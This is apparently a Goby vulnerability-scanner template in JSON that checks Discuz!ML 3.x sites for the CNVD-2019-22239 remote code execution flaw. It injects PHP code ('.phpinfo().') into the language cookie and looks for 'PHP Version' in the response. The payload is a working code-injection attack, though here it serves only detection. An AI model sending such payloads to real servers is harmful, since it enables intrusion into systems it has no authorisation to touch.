Discuz_ML_3.x_RCE__CNVD_2019_22239.json

{
      "Name": "Discuz!ML 3.x RCE CNVD-2019-22239",
      "Level": "3",
      "Tags": [
            "rce"
      ],
      "GobyQuery": "(app=discuz | body=\"Powered by Discuz! X3.4\")",
      "Description": "2019年7月11日， Discuz！ML被发现存在一处远程代码执行漏洞，攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload，进行远程代码执行利用。",
      "Product": "Discuz!ML",
      "Homepage": "http://discuz.ml/",
      "Author": "aetkrad",
      "Impact": "",
      "Recommendation": "",
      "References": [
            "https://www.cnblogs.com/-mo-/p/11180396.html"
      ],
      "HasExp": false,
      "ExpParams": null,
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/forum.php",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "cookiepre|lastbody|regex|cookiepre = '([\\w_]+)'"
                  ]
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/forum.php",
                        "follow_redirect": false,
                        "header": {
                              "Cookie": "{{{cookiepre}}}language=sc'.phpinfo().'"
                        },
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "PHP Version",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "System",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "PostTime": "2021-11-16 17:10:04",
      "GobyVersion": "1.8.302"
}